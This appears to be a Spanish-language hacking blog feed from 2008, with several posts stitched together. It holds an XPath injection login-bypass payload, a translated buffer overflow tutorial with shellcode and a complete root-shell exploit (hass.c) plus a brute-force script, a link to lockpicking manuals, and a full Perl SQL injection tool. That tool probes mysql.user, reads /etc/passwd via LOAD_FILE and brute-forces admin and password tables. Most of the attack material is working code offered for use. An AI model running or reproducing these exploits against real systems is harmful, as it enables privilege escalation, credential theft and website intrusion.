<user><br /> <username> MurdeR </username><br /> <password> elite </password><br /> </user><br /> <user><br /> <username> boER! </username><br /> <password> soygay </password><br /> </user><br /></ddlr></blockquote><br /><br />Aca es donde vienen las injecciones<br /><br />Supongamos que el XPath query para logearse es<br /><br /><blockquote>String(//ddlr/user[username/text()=' " + txtusername.Text + " ' and password/text()=' "+ txtpassword.Text +" '])</blockquote><br /><br />Se supondria que una consulta valida entonces seria :<br /><br /><blockquote>String(//ddlr/user[username/text()='MurdeR' and password/text()='elite'])</blockquote><br /><br />Y ahi estaria logeandose...<br /><br />Pero que pasaria si nosotros le ponemos: ' or 1=1 or ''='<br /><br />Veamos como quedaria:<br /><br /><blockquote>String(//ddlr/user[username/text()='' or 1=1 or ''='' and password/text()='' or 1=1 or ''=''])</blockquote><br /><br />lop xD , estamos logeados y adentro.<br /><br />Muchos diran que esto es igual que SQL Injection, pero hasta aca puede ser parecido, estudiado en profundidad tiene mucho mas utilidades.<br />Otras injecciones muestran partes o algunas veces todo el documento xml , asi mostrando mucha informacion valiosa.<br /><br />Bueno espero que les haya gustado, me gusto hacer esta introduccion a las XPath injection ya que hay muy poco material en castellano de este tema tan interesante<br /><br />Agradecimientos a Reberto de Dios de la REDUnknownnoreply@blogger.com1tag:blogger.com,1999:blog-3909101183685089669.post-493968838995725232008-07-25T11:26:00.000-07:002008-07-25T11:27:29.565-07:00buffer overflows para 'kiddies'/* translated by honoriak <EGC@argen.net> thz to teleh0r for letting me<br />translate and publish this text in spanish */<br /><br /> -- buffer overflows para 'kiddies' (chavalotes) (plataformas x86) --<br /> <teleh0r@doglover.com><br /> http://teleh0r.cjb.net<br />===========================================================<br /><br /><br />---\ Introduccion \<br /><br />Tu has leido todas las guias sobre buffer overflows y no has sacado nada en<br />limpio. No te preocupes, ahora vas a poder leer la unica guia que necesitas!<br />Ehh, esto no es asi verdaderamente - pero este manual es un buen comienzo.<br />Si quieres aprender esto bien, lee el articulo de aleph one en phrack,<br />revista numero 49, articulo numero 14 (http://www.phrack.com) o tambien la<br />traduccion al castellano en http://julianor.tripod.com/smashing/P49-4-Smashing_the_stack-Spanish.txt<br /><br />Nota: Si, esto es para 'kiddies'. Por que? Me gusta cuando hay un nuevo<br />exploit en packetstorm - y quien tiene mas tiempo para comprobar programas<br />'explotables'? Los chavales!<br /><br />---\ Encontrando programas para 'explotar' \<br /><br />Lo primero que necesitas encontrar es un programa que puedas 'explotar',<br />debe tener unos privilegios especiales, sino seria una perdida de tiempo<br />intentar 'explotarlo'. Ten en cuenta que un programa que no es setuid, o<br />setgid.. por ejemplo slackware debe ser setuid en redhat.<br /><br />Para hacer esta tarea mas simple, haz una busqueda de todos los<br />programas setuid/setgid que existen en tu distribucion.<br /><br />Si necesitas ayuda con eso, y problablemente la necesitaras - encontes<br />visita packetstorm y en el directorio de los exploits-9901, baja mother2.sh.<br /><br />[root@localhost teleh0r]# ./mother2.sh<br /><br />* mother2.sh by: syg @ EFnet<br />*<br />* Usage: ./mother2.sh <setuid-OutPutFile> <setgid-OutPutFile><br /><br />[root@localhost teleh0r]# ./mother2.sh setuid setgid<br /><br />* mother2.sh by: syg @ EFnet<br />*<br />* setuid-OutPutFile -> setuid<br />* setgid-OutPutFile -> setgid<br />*<br />* Now scanning /* for setuid...<br />*<br />* setuid scan done...<br />*<br />* Now scanning /* for setgid...<br />*<br />* setgid scan done...<br />*<br />* mother2.sh complete...<br />* Check setuid and setgid<br /><br />[root@localhost teleh0r]# ls setgid setuid<br />setgid setuid<br /><br />Despues echa un vistazo a la lista, debe haber una para setuid y otra para<br />setgid.<br /><br />---\ Un ejemplo real \<br /><br />Ok, el momento para un ejemplo. He escrito un reducido programa que es<br />'explotable' a traves de un buffer overflow. Copia la KIDVULN sin verificar<br />los saltos.<br /><br />(strcpy es realmente peligroso! Guiñar<br /><br />Ok, veamos como podemos 'explotar' esto, eso es lo que quieres, no?<br />Primero compila el codigo que esta justo debajo. (gcc -o kid kid.c)<br /><br />-------\ kid.c \<br /><br />#include <stdio.h><br /><br />int main() {<br /> char kidbuffer[1024];<br /><br /> if (getenv("KIDVULN") == NULL) {<br /> fprintf(stderr, "Grow up!\n");<br /> exit(1);<br /> }<br /> <br /> /* Mete los datos de la variable de entorno en el buffer */<br /> strcpy(kidbuffer, (char *)getenv("KIDVULN"));<br /><br /> printf("La variable de entorno KIDVULN es:\n\"%s\".\n\n", kidbuffer);<br /><br /> printf("No es la vida maravillosa en una guarderia?\n");<br /><br /> return 0;<br />}<br /> <br />-------\<br /><br />Para hacerte sentir extra-elite, como root haz chemod kid u+s, y situa el<br />programa en el directorio /bin. Ahora comencemos con el 'exploit'.<br /><br />[root@localhost teleh0r]# export KIDVULN= erl -e '{print<br />"A"x"1030"}'<br />[root@localhost teleh0r]# /bin/kids<br />Environment variable KIDVULN is: <br />"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br /> AAAAAAAAAAAAAAAAAAA....<br /><br />No es la vida maravillosa en una guarderia?<br />Segmentation fault (core dumped)<br />[root@localhost teleh0r]# gdb -c core /bin/kids<br />GNU gdb 19991004<br />Copyright 1998 Free Software Foundation, Inc.<br />GDB is free software, covered by the GNU General Public License, and you are<br />welcome to change it and/or distribute copies of it under certain<br />conditions.<br />Type "show copying" to see the conditions.<br />There is absolutely no warranty for GDB. Type "show warranty" for details.<br />This GDB was configured as "i386-redhat-linux"...<br />Core was generated by /bin/kids'.<br />Program terminated with signal 11, Segmentation fault.<br />Reading symbols from /lib/libc.so.6...done.<br />Reading symbols from /lib/ld-linux.so.2...done.<br />#0 0x4000af9a in _dl_sysdep_output (fd=2,<br /> msg=0x40108f8b <Address 0x40108f8b out of bounds>) at dl-misc.c:95<br />95 dl-misc.c: No such file or directory.<br />(gdb) info register esp<br />esp 0xbffff720 -1073744096<br />(gdb) quit<br /><br />Primero use 1030 A's porque eso es lo que necesito. Mira el codigo, sabemos<br />que kidbuffer puede ser de 1024 bytes como maximo.<br />(char kidbuffer[1024]Guiñar<br /> <br />Ok, ahora tu tienes que conseguir lo que necesitas para 'explotar' este<br />programa. Tienes las dimensiones y intentaremos usar esp como direccion de<br />retorno de nuestro exploit.<br />No te preocupes, he escrito un exploit para que puedas usar en muchos casos,<br />y te mostrare lo que cambiar para hacer que funcione en todos los casos.<br /><br />Ok, asi que tenemos:<br /><br />RET=0xbffff720 // (direccion de retorno)<br />LEN=1030 // (dimensiones del buffer)<br /><br />Cambia esto en el exploit que he escrito debajo, y despues el comienzo del<br />exploit parecera algo como esto:<br /><br />-------\<br /><br />#include <stdio.h><br /><br /> /* teleh0r's own k-rad shellcode! */<br /><br />char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"<br /> "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"<br /> "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"<br /> "\xff\xff/bin/sh";<br /><br />#define NOP 0x90<br />#define LEN 1030<br />#define RET 0xbffff720 // Redhat 6.2 (Zoot)<br />// encontraras el exploit completo al final...<br /><br />-------\<br /><br />Ahora por fuerza bruta haremos esto, y para lo que usaremos este simple<br />shell script.<br /><br />-------\ bah.sh \<br /><br />#!/bin/sh<br /><br />NUMBER=-5000<br /><br />until [ "$NUMBER" -gt "5000" ]; do<br /> ./hass $NUMBER<br /> echo "Usando este offset : $NUMBER" # > file<br /> NUMBER=$[$NUMBER+5]<br />done<br /><br />-------\<br /><br />Ejecuta este script, y si tu terminal se jode, imprime el offset en un<br />fichero, y como otro usuario, catealo cuando el exploit salte a una shell.<br /><br />[root@localhost /root]# ./bah.sh<br /><br />- (c) 'teleh0r@doglover.com' anno 2000 -<br />Use : ./hass [offset]<br />Using: address 0xbffff34c<br /><br />La variable de entorno KIDVULN es:<br />"<br /> <br />k^<br />1A<br />F<br />F<br /> 0<br /><br />s<br />V<br /> I<br />1U<br />X@I<br />h\Huh/bin/sh??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8<br /><br />No es la vida maravillosa en una guarderia?<br />bash#<br /><br />-------\<br /><br />Despues reemplaza la antigua direccion de retorno con el nuevo RET que el<br />exploit te ha dado - asi lo tenemos por fuerza bruta - asi que el nuevo<br />RET=0xbffff34c<br /><br />[root@localhost teleh0r]# ./hass<br /><br />- (c) 'teleh0r@doglover.com' anno 2000 -<br />Use : ./hass [offset]<br />Using: address 0xbffff34c<br /><br />La variable de entorno KIDVULN es:<br />"<br /> <br />k^<br />1A<br />F<br />F<br /> 0<br /><br />s<br />V<br /> I<br />1U<br />X@I<br />h\Huh/bin/sh??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??L<br /><br />No es la vida maravillosa en una guarderia?<br />bash# wh0a! lo hice, lo hice!<br /><br /><br />--\ Programas que necesitaras \<br /><br />Tu puedes usar mis codigos libremente, pero no tienes que adjuntar ningun<br />tipo de credito.<br /><br />Como conseguir la shellcode?<br />Puedes tambien usar un "generador de shells", que te hara el shellcode para<br />ti. "execve-shell.tar.gz" el cual puedes conseguir en la pagina de teso esta<br />muy bien y es facil de usar (http://teso.scene.at/)<br /><br />Otro programa bueno que puedes probar hoy en dia, es un script en perl<br />llamado getenv.pl hecho por v9@fakehalo.org. Deberia poderse encontrar esta<br />aplicacion en packetstorm.<br /><br />Y desde luego, el exploit usado por ejemplo.<br /><br />-------\ hass.c \<br /><br />/*<br />**<br />**<br />** -- INSERT K-RAD GREETZ HERE! --<br />**<br />** y0y0y0y0!<br />** hecho como ejemplo usado en este texto. (kid.c)<br />** Si por alguna razon no va, intentalo por fuerza bruta!<br />*/<br /><br />#include <stdio.h><br /><br /> /* teleh0r's own k-rad shellcode! */<br /><br />char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"<br /> "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"<br /> "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"<br /> "\xff\xff/bin/sh";<br /><br />#define NOP 0x90<br />#define LEN 1030<br />#define RET 0xbffffc10 // Redhat 6.2 (Zoot)<br /><br />void main(int argc, char *argv[]) {<br /><br /> char buffer[LEN];<br /> long retaddr, offset;<br /> int i;<br /><br /> offset = 0;<br /> if (argc > 1) {<br /> offset = atol(argv[1]);<br /> }<br /> retaddr = RET + offset;<br /><br /> printf("\n- (c) teleh0r@doglover.com anno 2000 -\n");<br /> printf("Use : %s [offset] \n", argv[0]);<br /> printf("Using: address 0x%lx\n\n", retaddr);<br /><br /> for (i = 0; i < LEN; i += 4)<br /> *(long *) &buffer = retaddr;<br /><br /> for (i = 0; i < (LEN - strlen(codez) - 100); ++i)<br /> *(buffer + i) = NOP;<br /><br /> memcpy(buffer + i, codez, strlen(codez));<br /><br /> setenv("KIDVULN", buffer, 1);<br /> execl("/bin/kid", "kid", 0);<br /><br /> return 0;<br />}<br /> <br />-------\<br /><br /><br />*/ translated finished Sat Dec 2 01:58:18 CET 2000 */Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-75482910546694358902008-07-19T10:02:00.001-07:002008-07-19T10:03:54.434-07:00Recopilacion LockPickingRecopilacion de algunos manuales de lockpicking<br /><br />Descarga: http://rapidshare.com/files/130913191/lockpicking.rar.html<br /><br />Saludos.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-88534878368770159792008-07-19T09:29:00.000-07:002008-07-19T09:33:02.263-07:00Sql -Pw> v0.7 | By Login-RootScript:<br /><br /><blockquote>#!/usr/bin/perl<br /><br />###########################################################################################<br /># -[+]- SQL-PwnZ v0.7 | By Login-Root -[+]- ###<br />###########################################################################################<br /><br />###########################################################################################<br /># [+] inf0: ###<br />###########################################################################################<br /># Busca: ###<br /># ====== ###<br /># - Nº de columnas ### <br /># - Information_Schema && MySQL.User ###<br /># - LOAD_FILE ###<br /># - Tablas ### <br /># - Columnas ###<br /># ###<br /># ...y guarda todo en un archivo de texto. ###<br /># ###<br />###########################################################################################<br /><br />###########################################################################################<br /># [+] c0ntact: ###<br />###########################################################################################<br /># MSN: no.more@passport.com ###<br /># Jabber: login-root@x23.eu ### <br /># E-Mail: login_root@yahoo.com.ar ###<br />###########################################################################################<br /><br />###########################################################################################<br /># [+] sh0utz: ###<br />###########################################################################################<br /># In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ###<br /># Many thanks to boER, who teach me a little of perl ;D ###<br /># VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG ###<br />###########################################################################################<br /><br />use LWP::Simple;<br /><br />if(!$ARGV[2])<br /> {<br /> print "\n\n-[+]- SQL-PwnZ v0.7 | By Login-Root -[+]-\n=========================================";<br /> print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [-T] [-C]\n";<br /> print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n\n";<br /> exit (1);<br /> }<br /> <br />@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',<br /> 'name','names','nombre','nombres','usuarios','member','members','admin_table',<br /> 'miembro','miembros','membername','admins','administrator',<br /> 'administrators','passwd','password','passwords','pass','Pass',<br /> 'user_password','user_passwords','user_name','user_names',<br /> 'member_password','mods','mod','moderators','moderator','user_email',<br /> 'user_emails','user_mail','user_mails','mail','emails','email','address',<br /> 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',<br /> 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',<br /> 'u_password','nick','nicks','manager','managers','administrador',<br /> 'administradores','clave','login_id','pwd','pas','sistema_id',<br /> 'sistema_usuario','sistema_password','contrasena','auth','key','senha',<br /> 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','tb_users','tb_user','tb_sys','sys',<br /> 'fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors',<br /> 'accounts','account','accnts','accnt','customers','customer','membres','administrateur','utilisateur','utilisateurs',<br /> 'password','passwords','amministratore','god','God','authors','autores','membername','usuario','Users','Admin','Members',<br /> 'Miemberos','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');<br />@nombrecolumna=('admin_name','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','user_name','username','name',<br /> 'user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','usrnm','user_usrnm','usr',<br /> 'usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','sistema_usuario','auth',<br /> 'key','membername','nme','unme','psw','password','user_password','pass_hash','hash','pass','userpass','user_pass','upw',<br /> 'pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','user_pwd','u_pass','clave',<br /> 'contrasena','pas','sistema_password','auth','key','upassword');<br /><br />open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";<br />$column = 0;<br />print "\n[!] Chequeando si la web es vulnerable...\n";<br />$sql=$ARGV[0]."-1+union+all+select--";<br />$response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");<br />if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/)<br /> {<br /> print "[+] Web vulnerable, continua el script...\n";<br /> print WEB "[WEBSITE]:\n\n$ARGV[0]\n";<br /> }<br />else<br /> {<br /> print "[-] Website no vulnerable a SQL Inyection\n\n";<br /> exit(1);<br /> }<br />print "\n[!] Buscando columnas...\n";<br />while ($column < $ARGV[1])<br />{<br /> $union.=','.$column;<br /> $inyection.=','."0x6c6f67696e70776e7a";<br /> if ($column == 0)<br /> {<br /> print WEB "\n[COLUMNAS]:\n\n";<br /> $inyection = '';<br /> $union = '';<br /> }<br /> $sql=$ARGV[0]."-1+union+all+select+0x6c6f67696e70776e7a".$inyection."--";<br /> $response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");<br /> if($response=~ /loginpwnz/)<br /> {<br /> $column ++;<br /> print "[+] La web posee $column columnas\n\n";<br /> $sql=$ARGV[0]."-1+union+all+select+0".$union."--";<br /> print "$sql\n";<br /> print WEB "$sql\n";<br /> print "\n[!] Chequeando si existe Information_Schema...";<br /> $sql=$ARGV[0]."-1+union+all+select+0x6c6f67696e70776e7a".$inyection."+from+information_schema.tables--";<br /> $response=get($sql)or die("[-] Imposible obtener Information_Schema\n");<br /> if($response=~ /loginpwnz/)<br /> {<br /> print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";<br /> $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";<br /> print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";<br /> <br /> }<br /> else<br /> {<br /> print "\n[-] Information_Schema no disponible";<br /> }<br /> print "\n[!] Chequeando si existe MySQL.User...";<br /> $sql=$ARGV[0]."-1+union+all+select+0x6c6f67696e70776e7a".$inyection."+from+mysql.user--";<br /> $response=get($sql)or die("[-] Imposible obtener MySQL.User\n");<br /> if($response=~ /loginpwnz/)<br /> {<br /> print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";<br /> $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";<br /> print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";<br /> <br /> }<br /> else<br /> {<br /> print "\n[-] MySQL.User no disponible";<br /> }<br /> print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";<br /> $sql=$ARGV[0]."-1+union+all+select+load_file(0x2f6574632f706173737764)".$inyection."--";<br /> $response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");<br /> if($response =~ /loginpwnz/ || $response !~ /mysql_fetch_/ && $response !~ /Access denied for user/ && $response !~ /doesn't exist/)<br /> {<br /> print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]";<br /> print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK!\n";<br /> }<br /> else<br /> {<br /> print "\n[-] LOAD_FILE no disponible";<br /> }<br /> if ($ARGV[3] =~ /-T/ || $ARGV[3] =~ /-t/)<br /> {<br /> print "\n\n[!] Bruteando tablas...";<br /> print WEB "\n\n[TABLAS]:\n\n";<br /> foreach $tabla(@nombretabla)<br /> {<br /> chomp($tabla);<br /> $sql=$ARGV[0]."-1+union+all+select+0x6c6f67696e70776e7a".$inyection."+from+".$tabla."--";<br /> $response=get($sql)or die("[-] Imposible obtener tablas\n");<br /> if($response =~ /loginpwnz/)<br /> {<br /> print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";<br /> $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+".$tabla."--";<br /> print WEB "$sql\n";<br /> }<br /> }<br /> }<br /> if ($ARGV[3] =~ /-C/ || $ARGV[3] =~ /-c/ || $ARGV[4] =~ /-C/ || $ARGV[4] =~ /-c/)<br /> {<br /> print "\n\n[!] Tabla a la cual brutear columnas: ";<br /> $tabla.=<STDIN>;<br /> chomp($tabla);<br /> print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";<br /> foreach $columna(@nombrecolumna)<br /> {<br /> chomp($columna);<br /> $sql=$ARGV[0]."-1+union+all+select+".$columna.$inyection."+from+".$tabla."--";<br /> $response=get($sql)or die("[-] Imposible obtener columnas\n");<br /> if($response =~ /loginpwnz/ || $response !~ /mysql_fetch_/ && $response !~ /Access denied for user/ && $response !~ /doesn't exist/)<br /> {<br /> print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]";<br /> print WEB "$columna\n";<br /> }<br /> }<br /> }<br /> print WEB "\n\n\n[*EOF*]";<br /> print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n";<br /> print "## c0ded by Login-Root | 2008 ##\n\n";<br /> exit (1);<br /> }<br /> else<br /> {<br /> $column ++;<br /> }<br />}<br />print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";<br />exit (1);</blockquote><br /><br />Ejemplo de uso:<br /><br />http://img134.imageshack.us/img134/6568/07perlzc5.png<br /><br /><br />Archivo de texto de salida:<br /><br />http://img182.imageshack.us/img182/4941/07textls7.png<br /><br />By Login-RootUnknownnoreply@blogger.com0